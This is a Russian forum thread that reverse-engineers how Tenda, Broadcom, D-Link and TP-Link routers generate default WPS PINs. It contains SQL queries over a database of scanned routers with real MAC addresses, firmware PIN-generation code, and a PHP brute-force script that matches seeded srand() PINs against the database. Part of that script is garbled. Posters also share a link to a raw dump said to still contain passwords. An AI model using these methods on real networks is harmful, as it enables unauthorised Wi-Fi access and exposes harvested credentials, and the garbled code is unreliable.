| 3 | 1195 | 3 | 3 | 118 | 0 | 31 | 19 | 0 | 23 | 0 | 0 | 45 |
| 40 | 8157 | 1 | 1 | 11 | 0 | 0 | 0 | 0 | 0 | 4 | 7 | 0 |
| 31 | 7841 | 1 | 1 | 40 | 0 | 0 | 0 | 0 | 19 | 0 | 0 | 21 |
| 22 | 6026 | 1 | 1 | 95 | 0 | 0 | 0 | 0 | 0 | 60 | 35 | 0 |
| 13 | 7972 | 2 | 2 | 23 | 0 | 0 | 9 | 0 | 11 | 0 | 0 | 3 |
| 4 | 5907 | 3 | 3 | 37 | 0 | 6 | 2 | 0 | 11 | 0 | 0 | 18 |
| 41 | 1289 | 1 | 1 | 5 | 0 | 0 | 0 | 0 | 0 | 4 | 1 | 0 |
| 32 | 9064 | 1 | 1 | 39 | 0 | 30 | 0 | 0 | 0 | 0 | 0 | 9 |
| 23 | 6091 | 1 | 1 | 87 | 0 | 0 | 0 | 0 | 0 | 74 | 13 | 0 |
| 14 | 7907 | 2 | 2 | 21 | 0 | 0 | 2 | 0 | 4 | 0 | 0 | 15 |
| 5 | 6906 | 2 | 2 | 948 | 0 | 0 | 507 | 0 | 281 | 0 | 0 | 160 |
| 42 | 9130 | 1 | 1 | 2 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
| 33 | 1130 | 1 | 1 | 34 | 0 | 13 | 0 | 0 | 0 | 0 | 0 | 21 |
| 6 | 6972 | 2 | 2 | 769 | 0 | 0 | 616 | 0 | 87 | 0 | 0 | 66 |
| 34 | 8092 | 1 | 1 | 24 | 0 | 0 | 0 | 0 | 0 | 5 | 19 | 0 |
| 25 | 9129 | 1 | 1 | 60 | 0 | 41 | 0 | 0 | 0 | 0 | 0 | 19 |
| 16 | 7091 | 1 | 1 | 477 | 0 | 0 | 0 | 0 | 0 | 379 | 98 | 0 |
| 7 | 1064 | 2 | 2 | 688 | 0 | 410 | 0 | 0 | 115 | 0 | 0 | 163 |
| 44 | 1626 | 1 | 1 | 2 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 |
| 35 | 1194 | 1 | 1 | 20 | 0 | 0 | 7 | 0 | 13 | 0 | 0 | 0 |
| 26 | 7157 | 1 | 1 | 59 | 0 | 0 | 0 | 0 | 0 | 32 | 27 | 0 |
| 17 | 7026 | 1 | 1 | 433 | 0 | 0 | 0 | 0 | 0 | 250 | 183 | 0 |
| 8 | 6841 | 2 | 2 | 491 | 0 | 0 | 48 | 0 | 299 | 0 | 0 | 144 |
| 9 | 6907 | 2 | 2 | 247 | 0 | 0 | 94 | 0 | 52 | 0 | 0 | 101 |
| 28 | 8026 | 1 | 1 | 56 | 0 | 0 | 0 | 0 | 0 | 24 | 32 | 0 |
| 10 | 5841 | 2 | 3 | 121 | 0 | 39 | 1 | 0 | 62 | 0 | 0 | 19 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
44 rows in set (0.00 sec)

MariaDB [Tenda]> select * from tmp_TendaHalfs where X order by m6+m7 desc;
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 16 | 7091 | 1 | 1 | 477 | 0 | 0 | 0 | 0 | 0 | 379 | 98 | 0 |
| 17 | 7026 | 1 | 1 | 433 | 0 | 0 | 0 | 0 | 0 | 250 | 183 | 0 |
| 21 | 7092 | 1 | 1 | 106 | 0 | 0 | 0 | 0 | 0 | 15 | 91 | 0 |
| 22 | 6026 | 1 | 1 | 95 | 0 | 0 | 0 | 0 | 0 | 60 | 35 | 0 |
| 23 | 6091 | 1 | 1 | 87 | 0 | 0 | 0 | 0 | 0 | 74 | 13 | 0 |
| 26 | 7157 | 1 | 1 | 59 | 0 | 0 | 0 | 0 | 0 | 32 | 27 | 0 |
| 28 | 8026 | 1 | 1 | 56 | 0 | 0 | 0 | 0 | 0 | 24 | 32 | 0 |
| 29 | 8091 | 1 | 1 | 52 | 0 | 0 | 0 | 0 | 0 | 39 | 13 | 0 |
| 34 | 8092 | 1 | 1 | 24 | 0 | 0 | 0 | 0 | 0 | 5 | 19 | 0 |
| 38 | 6092 | 1 | 1 | 16 | 0 | 0 | 0 | 0 | 0 | 2 | 14 | 0 |
| 39 | 6157 | 1 | 1 | 14 | 0 | 0 | 0 | 0 | 0 | 10 | 4 | 0 |
| 40 | 8157 | 1 | 1 | 11 | 0 | 0 | 0 | 0 | 0 | 4 | 7 | 0 |
| 41 | 1289 | 1 | 1 | 5 | 0 | 0 | 0 | 0 | 0 | 4 | 1 | 0 |
| 44 | 1626 | 1 | 1 | 2 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 |
| 1 | 1129 | 3 | 3 | 1145 | 0 | 736 | 12 | 0 | 173 | 0 | 0 | 224 |
| 20 | 6249 | 1 | 1 | 146 | 40 | 0 | 0 | 106 | 0 | 0 | 0 | 0 |
| 11 | 7906 | 2 | 2 | 55 | 0 | 0 | 10 | 0 | 21 | 0 | 0 | 24 |
| 2 | 5906 | 3 | 3 | 137 | 0 | 49 | 13 | 0 | 57 | 0 | 0 | 18 |
| 30 | 8314 | 1 | 1 | 49 | 26 | 0 | 0 | 23 | 0 | 0 | 0 | 0 |
| 12 | 5972 | 2 | 3 | 46 | 0 | 1 | 26 | 0 | 14 | 0 | 0 | 5 |
| 3 | 1195 | 3 | 3 | 118 | 0 | 31 | 19 | 0 | 23 | 0 | 0 | 45 |
| 31 | 7841 | 1 | 1 | 40 | 0 | 0 | 0 | 0 | 19 | 0 | 0 | 21 |
| 13 | 7972 | 2 | 2 | 23 | 0 | 0 | 9 | 0 | 11 | 0 | 0 | 3 |
| 4 | 5907 | 3 | 3 | 37 | 0 | 6 | 2 | 0 | 11 | 0 | 0 | 18 |
| 32 | 9064 | 1 | 1 | 39 | 0 | 30 | 0 | 0 | 0 | 0 | 0 | 9 |
| 14 | 7907 | 2 | 2 | 21 | 0 | 0 | 2 | 0 | 4 | 0 | 0 | 15 |
| 5 | 6906 | 2 | 2 | 948 | 0 | 0 | 507 | 0 | 281 | 0 | 0 | 160 |
| 42 | 9130 | 1 | 1 | 2 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
| 33 | 1130 | 1 | 1 | 34 | 0 | 13 | 0 | 0 | 0 | 0 | 0 | 21 |
| 24 | 8249 | 1 | 1 | 82 | 44 | 0 | 0 | 38 | 0 | 0 | 0 | 0 |
| 15 | 7249 | 1 | 1 | 753 | 306 | 0 | 0 | 447 | 0 | 0 | 0 | 0 |
| 6 | 6972 | 2 | 2 | 769 | 0 | 0 | 616 | 0 | 87 | 0 | 0 | 66 |
| 43 | 7730 | 1 | 1 | 2 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 |
| 25 | 9129 | 1 | 1 | 60 | 0 | 41 | 0 | 0 | 0 | 0 | 0 | 19 |
| 7 | 1064 | 2 | 2 | 688 | 0 | 410 | 0 | 0 | 115 | 0 | 0 | 163 |
| 35 | 1194 | 1 | 1 | 20 | 0 | 0 | 7 | 0 | 13 | 0 | 0 | 0 |
| 8 | 6841 | 2 | 2 | 491 | 0 | 0 | 48 | 0 | 299 | 0 | 0 | 144 |
| 36 | 8315 | 1 | 1 | 18 | 7 | 0 | 0 | 11 | 0 | 0 | 0 | 0 |
| 27 | 6314 | 1 | 1 | 57 | 15 | 0 | 0 | 42 | 0 | 0 | 0 | 0 |
| 18 | 7314 | 1 | 1 | 337 | 151 | 0 | 0 | 186 | 0 | 0 | 0 | 0 |
| 9 | 6907 | 2 | 2 | 247 | 0 | 0 | 94 | 0 | 52 | 0 | 0 | 101 |
| 37 | 6315 | 1 | 1 | 17 | 6 | 0 | 0 | 11 | 0 | 0 | 0 | 0 |
| 19 | 7315 | 1 | 1 | 173 | 75 | 0 | 0 | 98 | 0 | 0 | 0 | 0 |
| 10 | 5841 | 2 | 3 | 121 | 0 | 39 | 1 | 0 | 62 | 0 | 0 | 19 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
44 rows in set (0.00 sec)

Isica
01.07.2020, 15:45
Походу, любопытная статистика по 24бит пин:

MariaDB [Tenda]> select count(if(PIN=NIC10,1,null)) n24small, count(if(PIN=NIC10-10000000,1,null)) n24large from TendaAll;
+----------+----------+
| n24small | n24large |
+----------+----------+
| 17415 | 1 |
+----------+----------+
1 row in set (0.10 sec)

Может у них нестандартная обработка переполнения?

Monohrom
01.07.2020, 16:12
Походу, любопытная статистика по 24бит пин:



Вот так выглядит реализация 24 бит пина в Тендах (https://github.com/drygdryg/Tenda-AC/blob/master/bcm/src/ecos/router/tenda_httpd_ucd/wps.c)


iPin = ptr[3] * 256 * 256 + ptr[4] * 256 + ptr[5];
//printf("[%c][%c][%c]\n", ptr[3] , ptr[4] ,ptr[5] );
iPin = iPin % 10000000;
//printf("pin=%u\n", iPin);
checksum = ComputeChecksum( iPin );
iPin = iPin*10 + checksum;
sprintf(devPwd, "%08u", iPin);
printf("eth0 mac: %s\n", if_hw);
printf("Generate new WPS PIN = %s, oldpin= %s\n", devPwd, nvram_get("wps_device_pin"));
nvram_set("wps_device_pin", devPwd);

Isica
01.07.2020, 21:38
Вот так выглядит реализация 24 бит пина в Тендах



Ну, из этого я и исходил. Но статистика--вещь упрямая!

Выходит, просто постеснялись переступить черту? А ведь подошли совсем близко:

MariaDB [Tenda]> select max(NIC10) from TendaAll where (PIN=NIC10);
+------------+
| max(NIC10) |
+------------+
| 9757206 |
+------------+
1 row in set (0.08 sec)

Впрочем, некоторые модели и так уместились целиком:

MariaDB [Tenda]> select count(*) n24,t2.n nAll,Model from TendaAll join (select Model,count(*) n from TendaAll group by Model)t2 using(Model) where PIN=NIC10 group by Model order by n desc;
+-------+-------+-------------------------------------------------+
| n24 | nAll | Model |
+-------+-------+-------------------------------------------------+
| 13839 | 92571 | Tenda 11N Wireless Router |
| 2001 | 2001 | Tenda Wireless-N Router |
| 1230 | 1230 | Tenda Wireless-N Router (rebranded) |
| 175 | 175 | Tenda 3G 11N Router |
| 7 | 141 | |
| 72 | 74 | Tenda 11N wireless broadband router |
| 59 | 59 | Tenda Wireless-N Router (Pentagram rebranded) |
| 1 | 42 | Tenda Realtek Router, firmware: V11.13.01.11_en |
| 29 | 29 | Tenda Wireless-N Router (Samsung rebranded) |
| 1 | 4 | GoAhead-Webs (proxy server) |
| 1 | 1 | Seems to be TP-LINK TL-WR740N |
+-------+-------+-------------------------------------------------+
11 rows in set (0.42 sec)

, но на счёт пресловутой 'Tenda 11N Wireless Router' есть сомнения.

И вообще, что это за "модель" такая, в которую входит куча разношерстных устройств? Почему оно так? Ранний RS не умел определять подробности?

TOX1C
01.07.2020, 21:50
Почему оно так?



Потому что в этом китайском гуано, модели нет нигде. Косвенно можно было угадать только по версии прошивки, да и то не факт что точно. У тенда реалтек такая же болезнь.

Быстрая гуглежка нашла вот что

https://github.com/MikimotoH/DLink_Harvester/blob/master/tenda_filelist.csv

Список прошивок, и устройств, к которым они предназначаются. Одинаковая версия для разных устройств оптимизма не внушает, так что и по версии прошивки сложно угадать, что есть что.

Isica
01.07.2020, 22:19
Может стоит в ProbeResp заглядывать по возможности?

TOX1C
01.07.2020, 22:28
Может стоит в ProbeResp заглядывать по возможности?



RouterScan их если и увидит, то только через вкладку wireless audit, а не в классическом сканировании по сети. И увидит он там... То, что прикреплено, это 5 разных моделей, наверное, с разными OUI.

Monohrom
01.07.2020, 22:47
И увидит он там..



Дефолтные настройки от Реалтека которые китайцы не поменяли(RTL8xxx и не только ) или общее название без конкретики(Tenda Wireless AP -Ecos - под этим названием куча моделей от Тенды скрываются).

У самих китайцев из Тенды если верить исходным кодам. Рабочая среда выглядит примерно так;

"http://192.168.100.233:18080/svn/EC...odes/Branches/NH325_old_platform/BCM5357_1X8/"

Это примечание было найдено здесь;https://github.com/drygdryg/Tenda-AC/tree/master/rtk/userSpace

Если кратко: у китайцев бардак.

Monohrom
05.07.2020, 20:27
Выгрузка с необработанными Тендами + инструменты для работы с необработанной выгрузкой(фильтрация, сортировка), а также инструменты для работы с алгоритмом(генерация дельт)

https://mega.nz/file/TjhxjLTZ#5Jvs2WcN-krwQfhiR69_znW3JLw8GNMhhGGwkLOh2L0



Выгрузка с необработанными Тендами + инструменты для работы с необработанной выгрузкой(фильтрация, сортировка), а также инструменты для работы с алгоритмом(генерация дельт)

https://mega.nz/file/TjhxjLTZ#5Jvs2WcN-krwQfhiR69_znW3JLw8GNMhhGGwkLOh2L0

Monohrom
06.07.2020, 08:21
Похоже что я нашёл локальную генерацию пин-кода в Тендах(не 24 бит пин), а также проверку пин-кода может натолкнет на какие то мысли. Ковырял дамп с Tenda AC9.

Если кто захочет поковырять прошивку то проверка пина находится здесь: squashfs-root/lib/libcommon, локальная генерация пина здесь: squashfs-root/lib/libpti. На картинках псевдокод сформированный Гидрой, к нему привязыватся не стоит сильно.

На всякий случай апну



Выгрузка с необработанными Тендами + инструменты для работы с необработанной выгрузкой(фильтрация, сортировка), а также инструменты для работы с алгоритмом(генерация дельт)

https://mega.nz/file/TjhxjLTZ#5Jvs2WcN-krwQfhiR69_znW3JLw8GNMhhGGwkLOh2L0

binarymaster
06.07.2020, 11:39
Похоже что я нашёл локальную генерацию пин-кода в Тендах(не 24 бит пин), а также проверку пин-кода может натолкнет на какие то мысли. Ковырял дамп с Tenda AC9.

Если кто захочет поковырять прошивку то проверка пина находится здесь: squashfs-root/lib/libcommon, локальная генерация пина здесь: squashfs-root/lib/libpti. На картинках псевдокод сформированный Гидрой, к нему привязыватся не стоит сильно.



Если вкратце, то эта функция просто генерирует рандомный пин через функцию srand().

Если предположить, что псевдорандом предсказуемый, можно немного сократить время поиска пина, если знать примерную дату, когда он был сгенерирован. Также можно будет для известных пинов прогнать этот алгоритм и вычислить их даты генерации.

Лапша ниже из умножений на 3 и магических констант - это рассчёт контрольной суммы.

Isica
06.07.2020, 19:13
инструменты для работы с необработанной выгрузкой(фильтрация,



Любопытно, откуда взят этот список:


tenda_static = ('03436080', '03436165', '03974247', '06966409',
'09278325', '19967899', '25086164', '25563818',
'25777390', '27334737', '35806691', '45304347', '50542208',
'63410372', '63491838', '71294988', '74250226')

TOX1C
06.07.2020, 19:31
откуда взят этот список



Ручная выборка, эти точки сложно не заметить. Их как мусора, в буквальном смысле.



Больший интерес представляет то, что это за точки и почему так?



Выгрузка с необработанными Тендами



Но они обработаны, с выгрузки удалены дубли bssid с разными wps pin.

Isica
06.07.2020, 19:48
Но они обработаны, с выгрузки удалены дубли bssid с разными wps pin.



Та вроде не удалены:

MariaDB [Tenda]> select count(*) from (select count(distinct(PIN)) nPINs from raw2020_2 group by MAC having nPINs>1) t;
+----------+
| count(*) |
+----------+
| 5265 |
+----------+
1 row in set (0.35 sec)

MariaDB [Tenda]> select MAC,count(distinct(PIN)) nPINs from raw2020_2 group by MAC having nPINs>2;
+-------------------+-------+
| MAC | nPINs |
+-------------------+-------+
| C8:3A:35:01:49:80 | 3 |
| C8:3A:35:01:50:D8 | 3 |
| C8:3A:35:02:91:A0 | 3 |
| C8:3A:35:02:91:F0 | 3 |
| C8:3A:35:02:BA:D8 | 3 |
| C8:3A:35:02:BB:E8 | 3 |
| C8:3A:35:02:C0:C0 | 3 |
| C8:3A:35:02:C3:B0 | 3 |
| C8:3A:35:02:DA:00 | 3 |
| C8:3A:35:02:DB:40 | 3 |
| C8:3A:35:03:09:C0 | 3 |
| C8:3A:35:03:27:F0 | 3 |
| C8:3A:35:03:28:B8 | 3 |
| C8:3A:35:03:9A:A0 | 3 |
| C8:3A:35:03:FA:C8 | 3 |
| C8:3A:35:04:97:98 | 3 |
| C8:3A:35:04:B5:40 | 3 |
| C8:3A:35:04:EB:78 | 3 |
| C8:3A:35:05:06:98 | 3 |
| C8:3A:35:05:1C:70 | 3 |
| C8:3A:35:05:3F:D8 | 3 |
| C8:3A:35:05:4F:90 | 3 |
| C8:3A:35:05:51:28 | 3 |
| C8:3A:35:05:6E:B0 | 3 |
| C8:3A:35:05:D2:98 | 3 |
| C8:3A:35:06:CD:E8 | 3 |
| C8:3A:35:08:47:F8 | 3 |
| C8:3A:35:08:77:38 | 3 |
| C8:3A:35:08:9B:F8 | 3 |
| C8:3A:35:09:11:00 | 3 |
| C8:3A:35:09:1D:28 | 3 |
| C8:3A:35:09:4A:A0 | 3 |
| C8:3A:35:0A:88:F8 | 3 |
| C8:3A:35:0B:BD:60 | 3 |
| C8:3A:35:0B:CF:18 | 3 |
| C8:3A:35:0D:25:28 | 3 |
| C8:3A:35:0D:A8:A8 | 3 |
| C8:3A:35:0E:94:60 | 3 |
| C8:3A:35:0E:DF:98 | 3 |
| C8:3A:35:0F:A9:B8 | 3 |
| C8:3A:35:15:43:F8 | 3 |
| C8:3A:35:16:04:48 | 3 |
| C8:3A:35:16:AA:38 | 3 |
| C8:3A:35:16:D6:E0 | 3 |
| C8:3A:35:17:90:C0 | 3 |
| C8:3A:35:18:A3:E8 | 3 |
| C8:3A:35:19:57:08 | 3 |
| C8:3A:35:19:9C:90 | 3 |
| C8:3A:35:19:AC:98 | 3 |
| C8:3A:35:1C:69:10 | 3 |
| C8:3A:35:1C:6C:70 | 4 |
| C8:3A:35:1C:9E:50 | 4 |
| C8:3A:35:1C:F5:90 | 3 |
| C8:3A:35:1D:0B:D0 | 3 |
| C8:3A:35:1D:4B:38 | 3 |
| C8:3A:35:1D:5F:30 | 3 |
| C8:3A:35:1D:77:38 | 3 |
| C8:3A:35:1D:78:00 | 4 |
| C8:3A:35:1F:3E:78 | 3 |
| C8:3A:35:1F:F1:F8 | 3 |
| C8:3A:35:20:39:90 | 3 |
| C8:3A:35:22:09:F0 | 3 |
| C8:3A:35:22:D9:60 | 3 |
| C8:3A:35:24:EE:30 | 3 |
| C8:3A:35:25:02:E0 | 3 |
| C8:3A:35:25:0C:60 | 3 |
| C8:3A:35:25:BB:38 | 3 |
| C8:3A:35:26:06:10 | 3 |
| C8:3A:35:26:0D:B0 | 3 |
| C8:3A:35:26:67:30 | 3 |
| C8:3A:35:26:7C:90 | 3 |
| C8:3A:35:26:A3:D8 | 3 |
| C8:3A:35:26:B9:68 | 3 |
| C8:3A:35:26:C1:C0 | 3 |
| C8:3A:35:26:FF:C8 | 3 |
| C8:3A:35:26:FF:D8 | 4 |
| C8:3A:35:27:15:A0 | 4 |
| C8:3A:35:27:1B:58 | 3 |
| C8:3A:35:27:23:90 | 3 |
| C8:3A:35:27:2A:F8 | 3 |
| C8:3A:35:27:9D:70 | 3 |
| C8:3A:35:27:AB:60 | 3 |
| C8:3A:35:27:DC:E0 | 3 |
| C8:3A:35:27:F8:D0 | 3 |
| C8:3A:35:2A:6D:B8 | 3 |
| C8:3A:35:2A:8A:F8 | 3 |
| C8:3A:35:2B:5C:C8 | 3 |
| C8:3A:35:2B:69:68 | 3 |
| C8:3A:35:2C:A2:48 | 3 |
| C8:3A:35:2D:74:68 | 3 |
| C8:3A:35:2D:F5:10 | 3 |
| C8:3A:35:2E:85:E8 | 3 |
| C8:3A:35:2E:9F:58 | 3 |
| C8:3A:35:2E:D8:08 | 3 |
| C8:3A:35:2E:DC:58 | 3 |
| C8:3A:35:2E:E2:70 | 3 |
| C8:3A:35:2E:F5:E0 | 3 |
| C8:3A:35:2F:00:68 | 3 |
| C8:3A:35:30:A9:38 | 3 |
| C8:3A:35:30:E6:A0 | 3 |
| C8:3A:35:31:05:48 | 3 |
| C8:3A:35:31:A9:D8 | 3 |
| C8:3A:35:32:2D:88 | 3 |
| C8:3A:35:32:F3:C8 | 3 |
| C8:3A:35:33:23:A8 | 3 |
| C8:3A:35:33:85:98 | 3 |
| C8:3A:35:33:96:A0 | 3 |
| C8:3A:35:33:AF:B8 | 3 |
| C8:3A:35:33:CA:58 | 3 |
| C8:3A:35:33:EE:98 | 3 |
| C8:3A:35:33:EF:70 | 3 |
| C8:3A:35:33:F6:00 | 3 |
| C8:3A:35:34:10:90 | 3 |
| C8:3A:35:34:36:98 | 3 |
| C8:3A:35:34:37:C0 | 3 |
| C8:3A:35:34:3B:A8 | 3 |
| C8:3A:35:34:69:90 | 3 |
| C8:3A:35:34:F2:E0 | 3 |
| C8:3A:35:35:04:C0 | 3 |
| C8:3A:35:38:0C:68 | 3 |
| C8:3A:35:38:53:F0 | 3 |
| C8:3A:35:39:F4:80 | 3 |
| C8:3A:35:3A:A9:A8 | 3 |
| C8:3A:35:3A:CA:00 | 3 |
| C8:3A:35:3A:E2:80 | 3 |
| C8:3A:35:3A:F4:D8 | 3 |
| C8:3A:35:3A:F4:E8 | 3 |
| C8:3A:35:3A:F5:00 | 3 |
| C8:3A:35:3A:FA:00 | 4 |
| C8:3A:35:3A:FB:E0 | 3 |
| C8:3A:35:3B:05:90 | 3 |
| C8:3A:35:3B:19:90 | 3 |
| C8:3A:35:3B:1D:28 | 3 |
| C8:3A:35:3B:21:08 | 3 |
| C8:3A:35:3B:3C:08 | 3 |
| C8:3A:35:3B:3C:A0 | 4 |
| C8:3A:35:3B:3D:40 | 3 |
| C8:3A:35:3B:4F:20 | 3 |
| C8:3A:35:3B:4F:28 | 3 |
| C8:3A:35:3B:4F:48 | 3 |
| C8:3A:35:3B:5F:10 | 3 |
| C8:3A:35:3B:7D:B0 | 3 |
| C8:3A:35:3B:A3:88 | 3 |
| C8:3A:35:3D:42:C8 | 3 |
| C8:3A:35:3D:EA:00 | 3 |
| C8:3A:35:3E:2F:C0 | 3 |
| C8:3A:35:3E:79:C0 | 3 |
| C8:3A:35:3F:7A:98 | 3 |
| C8:3A:35:41:43:78 | 3 |
| C8:3A:35:41:BD:B8 | 3 |
| C8:3A:35:44:FC:D0 | 3 |
| C8:3A:35:45:12:A1 | 3 |
| C8:3A:35:45:37:F0 | 3 |
| C8:3A:35:45:7F:40 | 3 |
| C8:3A:35:45:DE:38 | 3 |
| C8:3A:35:45:EF:10 | 3 |
| C8:3A:35:45:F1:58 | 3 |
| C8:3A:35:45:F9:30 | 3 |
| C8:3A:35:46:16:20 | 3 |
| C8:3A:35:46:22:D0 | 3 |
| C8:3A:35:46:22:E0 | 3 |
| C8:3A:35:47:53:D8 | 3 |
| C8:3A:35:47:94:D8 | 3 |
| C8:3A:35:47:E8:D8 | 3 |
| C8:3A:35:48:2D:80 | 3 |
| C8:3A:35:48:BF:38 | 3 |
| C8:3A:35:49:52:F0 | 3 |
| C8:3A:35:49:C2:18 | 3 |
| C8:3A:35:49:C5:30 | 3 |
| C8:3A:35:49:F0:A0 | 3 |
| C8:3A:35:49:F2:00 | 3 |
| C8:3A:35:4A:51:C0 | 3 |
| C8:3A:35:4A:53:98 | 3 |
| C8:3A:35:4B:9A:C0 | 3 |
| C8:3A:35:4E:2A:20 | 3 |
| C8:3A:35:4E:BA:D0 | 3 |
| C8:3A:35:4E:E0:80 | 3 |
| C8:3A:35:4F:4B:C0 | 3 |
| C8:3A:35:4F:5D:D8 | 3 |
| C8:3A:35:50:3F:A1 | 7 |
| C8:3A:35:50:AF:08 | 3 |
| C8:3A:35:51:BC:F8 | 3 |
| C8:3A:35:51:D5:B0 | 3 |
| C8:3A:35:52:4E:20 | 3 |
| C8:3A:35:52:58:58 | 3 |
| C8:3A:35:52:F1:40 | 3 |
| C8:3A:35:53:F5:B8 | 3 |
| C8:3A:35:55:10:90 | 3 |
| C8:3A:35:55:50:58 | 3 |
| C8:3A:35:55:64:78 | 3 |
| C8:3A:35:58:5A:28 | 3 |
| C8:3A:35:58:B4:10 | 3 |
| C8:3A:35:59:B3:58 | 3 |
| C8:3A:35:5A:89:30 | 3 |
| C8:3A:35:5A:B2:38 | 3 |
| C8:3A:35:5B:6F:30 | 3 |
| C8:3A:35:5B:80:B0 | 3 |
| C8:3A:35:5B:DF:E8 | 3 |
| C8:3A:35:5C:4D:F8 | 3 |
| C8:3A:35:5C:63:F8 | 3 |
| C8:3A:35:5C:9A:A8 | 3 |
| C8:3A:35:5C:9D:98 | 3 |
| C8:3A:35:5D:4E:E8 | 3 |
+-------------------+-------+
203 rows in set (0.34 sec)

Или их должно быть больше?

Isica
06.07.2020, 21:07
теория с серийниками



Если Вы или кто-то другой уже составили табличку с вероятными началами серий, было бы любопытно на неё взлянуть.

Также приветствуются альтернативные базы, составленные по стикерам или из лично вскрытых устройств, пусть даже крохотного размера, но с высокой достоверностью того, что пин дефолтный.

Monohrom
06.07.2020, 22:34
Любопытно, откуда взят этот список:



Ручная выборка по базе.



Но они обработаны, с выгрузки удалены дубли bssid с разными wps pin.



Выборку не обрабатывал. Так как она не очищена даже от паролей.



Больший интерес представляет то, что это за точки и почему так?



Cтатика же. Или намёк на то что алгоритм используется и для генерации статичного пинкода ?

binarymaster
06.07.2020, 22:43
Похоже что я нашёл локальную генерацию пин-кода в Тендах(не 24 бит пин), а также проверку пин-кода может натолкнет на какие то мысли.






Также можно будет для известных пинов прогнать этот алгоритм и вычислить их даты генерации.



О сейчас будет весело...


seed rand pin unique mostly
4 1968078 19680781 3 ZyXEL VMG1312-B10B
9 4444549 44445492 4 D-Link DSL-6740U
10 1215069 12150694 2 D-Link DSL-6740U
11 1989311 19893112 21 D-Link DSL-6740U, Micro DSL
12 1687063 16870635 507 Micro DSL, Tenda ADSL2/2+, D-Link DSL-6740U
13 1358590 13585907 950 Micro DSL, D-Link DSL-2750U, DSL-2650U, DSL-2640NRU
14 2146406 21464065 7511 Micro DSL, DSL-2640NRU, DSL-2750U, DSL-2650U, DSL-2740NRU, DSL-2640U
15 7622990 76229909 15940 ! Broadcom 3
16 4626484 46264848 19872 ! Broadcom 2
17 1227918 12279180 4078 Micro DSL, D-Link DSL-2640U, DSL-2640NRU, DSL-2600U, DSL-2740U, DSL-2740NRU, DSL-2750U
18 1995168 19951683 7424 Micro DSL, D-Link DSL-2640U, DSL-2640NRU, DSL-2600U, DSL-2740U, NETGEAR JDGN1000 ADSL Router
19 6232714 62327145 14761 ! Broadcom 4
20 3195719 31957199 4342 ! Broadcom 6
21 1086411 10864111 8232 ! Broadcom 5
22 1857631 18576313 3612 Micro DSL, D-Link DSL-2640NRU, DSL-2640U, DSL-2600U, DSL-2650NRU, DSL-2740NRU
23 1562469 15624697 17884 Micro DSL, D-Link DSL-2640NRU, DSL-2640U, DSL-2600U, DSL-2650U, DSL-2740U
24 1883648 18836486 10682 Micro DSL, D-Link DSL-2650U, DSL-2640U, DSL-2750U, DSL-2640NRU
25 2017252 20172527 15105 ! Broadcom 1
26 1708421 17084215 9501 Micro DSL, D-Link DSL-2640U, DSL-2740U, DSL-2650U, DSL-2750U
27 1416980 14169809 3587 Micro DSL, D-Link DSL-2640U, DSL-2740U, DSL-2650U, DSL-2650NRU
28 1110582 11105824 1467 Micro DSL, D-Link DSL-2640U, DSL-2650NRU, DSL-2740U, DSL-2750U
29 1881172 18811728 4418 Micro DSL, D-Link DSL-2640U, DSL-2650NRU, DSL-2740U, DSL-2650U
30 4938505 49385052 7986 Micro DSL, D-Link DSL-2640U, DSL-2740U, DSL-2650U, DSL-2640NRU
31 1271565 12715657 3946 Micro DSL, D-Link DSL-2640U, DSL-2650U, DSL-2640NRU, DSL-2750U
32 9656711 96567111 2064 Micro DSL, D-Link DSL-2640U, DSL-2740U, DSL-2650U

Теперь мы знаем, откуда берутся статичные Broadcom пины! Из этих данных также можно понять, какие модели доходят до генерации пин кода быстрее (за меньшее кол-во секунд от начала загрузки при сбросе настроек), а какие медленнее.

Monohrom
06.07.2020, 22:50
О сейчас будет весело...


Я подобный алгоритм видел не только у Тенд но и на TP-Link от старых на Атеросе до новых на Медиатеке. Для роутера

D-LINK DSL-2640U2

Как раз D-LINK DSL-2640U попал под твою выборку

Isica
06.07.2020, 22:50
Теперь мы знаем, откуда берутся статичные Broadcom пины!



Рабочий генератор можно пощупать?

binarymaster
06.07.2020, 22:55
Рабочий генератор можно пощупать?



Псевдокод на php:

PHP:



functiongenChecksum($pin)

{
$pin%=10000000;
$a=0;
$t=$pin;

while ($t)

{
$a+=3* ($t%10);
$t= (int)($t/10);
$a+=$t%10;
$t= (int)($t/10);

}

return ($pin*10) + ((10- ($a%10)) %10);

}

for ($seed=1;$seed10000000)$r= (int)($r/10);
$pin=genChecksum($r);

$res=QuerySql("SELECT id FROM base WHERE WPSPIN =$pinGROUP BY BSSID ORDER BY id DESC");

if ($res->num_rows>0)

{

echo"$seed$r$pin".$res->num_rows."\r\n";

}
$res->close();

}



При желании можно переписать на C, функции в точности те же.

Monohrom
06.07.2020, 23:17
Я подобный алгоритм видел не только у Тенд но и на TP-Link от старых на Атеросе до новых на Медиатеке.



Но это ещё не всё. Старые туполинки с ssid TP-LINK_XXXXXX. К таким роутерам в комплекте ишла программа(EasySetupAssistant) которая генерировала рандомный пароль для них. В 2013 году один человек восстановил примерный алгоритм генерации пароля. Алгоритм оказался не очень уж и рандомным.

Этот алгоритм очень похож на алгоритм генерации пинкода в туполинках который я нашёл в http сервере туполинка

Вполне возможно что китайцы из TP-LINK использовали или используют один и тот же алгоритм для генерации пароля и пинкода.

ссылка ниже разбор генератора, разбор короткий и лаконичный

https://github.com/AlexAltea/blog/blob/master/posts/2013-03-08-wpa2-vulnerability-tplink/_main.md

Isica
06.07.2020, 23:32
Псевдокод на php



У меня получается совсем не та последовательность:

seed=1, rand=32422

seed=2, rand=19731

seed=3, rand=7040

seed=4, rand=27117

seed=5, rand=14426

seed=6, rand=1735

seed=7, rand=21812

seed=8, rand=9121

seed=9, rand=29198

seed=10, rand=16507

seed=11, rand=3816

seed=12, rand=23893

seed=13, rand=11202

seed=14, rand=31279

seed=15, rand=18588

seed=16, rand=5897

seed=17, rand=25974

seed=18, rand=13283

seed=19, rand=592

seed=20, rand=20669

....

php 5.3; код:


